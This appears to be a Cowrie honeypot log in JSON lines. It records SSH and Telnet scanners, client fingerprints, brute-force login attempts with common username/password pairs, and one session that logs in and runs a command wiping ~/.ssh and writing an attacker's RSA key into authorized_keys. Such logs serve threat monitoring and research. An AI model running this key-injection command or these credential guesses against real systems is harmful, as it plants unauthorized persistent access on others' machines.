{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":54232,"dst_ip":"10.17.0.5","dst_port":23,"session":"b7ba57e9dbd0","protocol":"telnet","message":"New connection: 20.123.41.163:54232 (10.17.0.5:23) [session: b7ba57e9dbd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:52:36.477164Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":38532,"dst_ip":"159.203.135.109","dst_port":22,"session":"aacd928cbdb8","protocol":"ssh","message":"New connection: 45.156.87.254:38532 (159.203.135.109:22) [session: aacd928cbdb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:52:39.377814Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:52:39.382762Z","src_ip":"45.156.87.254","session":"aacd928cbdb8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:52:39.465358Z","src_ip":"45.156.87.254","session":"aacd928cbdb8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"erp","password":"erp","message":"login attempt [erp/erp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:52:39.715443Z","src_ip":"45.156.87.254","session":"aacd928cbdb8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:52:40.801753Z","src_ip":"45.156.87.254","session":"aacd928cbdb8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":47100,"dst_ip":"10.17.0.5","dst_port":23,"session":"7a0ec52e9063","protocol":"telnet","message":"New connection: 20.123.41.163:47100 (10.17.0.5:23) [session: 7a0ec52e9063]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:52:43.588861Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":38548,"dst_ip":"159.203.135.109","dst_port":22,"session":"1308ebcae8b9","protocol":"ssh","message":"New connection: 45.156.87.254:38548 (159.203.135.109:22) [session: 1308ebcae8b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:52:44.042368Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:52:44.046964Z","src_ip":"45.156.87.254","session":"1308ebcae8b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:52:44.129819Z","src_ip":"45.156.87.254","session":"1308ebcae8b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devops","password":"123456","message":"login attempt [devops/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:52:44.377659Z","src_ip":"45.156.87.254","session":"1308ebcae8b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:52:45.463739Z","src_ip":"45.156.87.254","session":"1308ebcae8b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":38562,"dst_ip":"159.203.135.109","dst_port":22,"session":"d2a3837dcd94","protocol":"ssh","message":"New connection: 45.156.87.254:38562 (159.203.135.109:22) [session: d2a3837dcd94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:52:48.549119Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:52:48.655038Z","src_ip":"45.156.87.254","session":"d2a3837dcd94","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:52:48.659525Z","src_ip":"45.156.87.254","session":"d2a3837dcd94","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tomcat","password":"tomcat123","message":"login attempt [tomcat/tomcat123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:52:49.147098Z","src_ip":"45.156.87.254","session":"d2a3837dcd94","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:52:50.232962Z","src_ip":"45.156.87.254","session":"d2a3837dcd94","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.30.115.187","src_port":50230,"dst_ip":"10.17.0.5","dst_port":22,"session":"6d0f053e534c","protocol":"ssh","message":"New connection: 186.30.115.187:50230 (10.17.0.5:22) [session: 6d0f053e534c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:52:51.279352Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:52:51.284485Z","src_ip":"186.30.115.187","session":"6d0f053e534c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:52:51.381414Z","src_ip":"186.30.115.187","session":"6d0f053e534c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"123root123","message":"login attempt [oracle/123root123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:52:51.801744Z","src_ip":"186.30.115.187","session":"6d0f053e534c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:52:52.053880Z","src_ip":"186.30.115.187","session":"6d0f053e534c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:52:52.057362Z","src_ip":"186.30.115.187","session":"6d0f053e534c","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:52:52.061263Z","src_ip":"186.30.115.187","session":"6d0f053e534c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:52:52.160841Z","src_ip":"186.30.115.187","session":"6d0f053e534c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:52:52.398037Z","src_ip":"186.30.115.187","session":"6d0f053e534c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:52:52.401778Z","src_ip":"186.30.115.187","session":"6d0f053e534c","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:52:52.507969Z","src_ip":"186.30.115.187","session":"6d0f053e534c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:52:52.512084Z","src_ip":"186.30.115.187","session":"6d0f053e534c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.30.115.187","src_port":50626,"dst_ip":"10.17.0.5","dst_port":22,"session":"062e261bac82","protocol":"ssh","message":"New connection: 186.30.115.187:50626 (10.17.0.5:22) [session: 062e261bac82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:52:52.583165Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:52:52.588496Z","src_ip":"186.30.115.187","session":"062e261bac82","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:52:52.676504Z","src_ip":"186.30.115.187","session":"062e261bac82","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:52:53.055856Z","src_ip":"186.30.115.187","session":"062e261bac82","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":43776,"dst_ip":"159.203.135.109","dst_port":22,"session":"b1ffc595097c","protocol":"ssh","message":"New connection: 45.156.87.254:43776 (159.203.135.109:22) [session: b1ffc595097c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:52:53.243513Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:52:53.248671Z","src_ip":"45.156.87.254","session":"b1ffc595097c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:52:53.333024Z","src_ip":"45.156.87.254","session":"b1ffc595097c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root@123","message":"login attempt [root/Root@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:52:53.730477Z","src_ip":"45.156.87.254","session":"b1ffc595097c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:52:54.144900Z","src_ip":"186.30.115.187","session":"062e261bac82","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.30.115.187","src_port":51226,"dst_ip":"10.17.0.5","dst_port":22,"session":"ac37cf72d7cb","protocol":"ssh","message":"New connection: 186.30.115.187:51226 (10.17.0.5:22) [session: ac37cf72d7cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:52:54.240693Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:52:54.245432Z","src_ip":"186.30.115.187","session":"ac37cf72d7cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:52:54.341806Z","src_ip":"186.30.115.187","session":"ac37cf72d7cb","protocol":"ssh"}
